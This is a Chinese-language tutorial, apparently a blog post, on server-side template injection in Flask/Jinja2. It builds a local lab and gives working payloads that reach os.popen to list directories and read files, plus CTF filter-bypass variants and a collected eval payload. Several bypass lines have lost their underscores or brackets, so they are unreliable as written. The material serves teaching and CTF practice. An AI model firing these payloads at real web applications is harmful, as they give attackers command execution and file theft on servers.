ssti漏洞原理
服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
目前主流模板引擎有
python框架 jinja2
mako
tornado
django
PHP框架 smarty
twig
java框架 jade
velocity
SSTI实战
环境搭建
python3.6 + flask + Windows10
IDE:pycharm
服务端代码
1 | from flask import Flask |
ps:参考其他博客搭建时并不能起到预期的注入效果。
原因是没有对url进行解码
运行脚本后,若成功会显示如下代码:
1 | * Debug mode: on |
接下来访问http://127.0.0.1:5000/ 就可以进行注入实战了。
注入实战
从后端代码我们可以发现,开发者直接将用户输入拼接到代码中,这一行为直接导致了SSTI漏洞。
尝试访问http://127.0.0.1:5000/?test=20
浏览器返回结果为
这也就应证了SSTI漏洞的存在,服务器运行了用户的输入。
接下来,我们就可以利用python的函数来进行文件读取或者其他操作。
例如如下payload可以执行dir操作(windows系统)
1 | http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('dir').read()}} |
payload的作用相当python中的
1 | print(os.popen('dir').read()) |
其大致含义为""是空字符串,"".__class__为字符串类型,__bases[]为其父类,即<object>,__subclass__是object的所有子类,其中就有os类,之后的payload就是调用os的方法进行操作
我们也可以这样读取文件
1 | http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('type app.py').read()}} |
相当于
1 | print(os.popen('type app.py').read()) |
浏览器返回结果为
ctf中的一些绕过tips
ctf中不可能直接这样把漏洞暴露给你,一定会加一些过滤和干扰
过滤[]等括号
使用gititem绕过。
如原poc
1 | {{"".class.bases[0]}} |
绕过后
1 | {{"".class.bases.getitem(0)}} |
过滤了subclasses,拼凑法
原poc
1 | {{"".class.bases[0].subclasses()}} |
绕过
1 | {{"".class.bases[0]'subcla'+'sses'}} |
过滤class
使用session
poc
1 | {{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[128]}} |
多个bases[0]
是因为一直在向上找object类。使用mro就会很方便
1 | {{session['__cla'+'ss__'].__mro__[12]}} |
或者
1 | {{request['__cl'+'ass__'].__mro__[12]}} |
timeit姿势
1 | import timeit |
收藏的一些poc
1 | ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' ) |
还有就可以参考一下P师傅的博客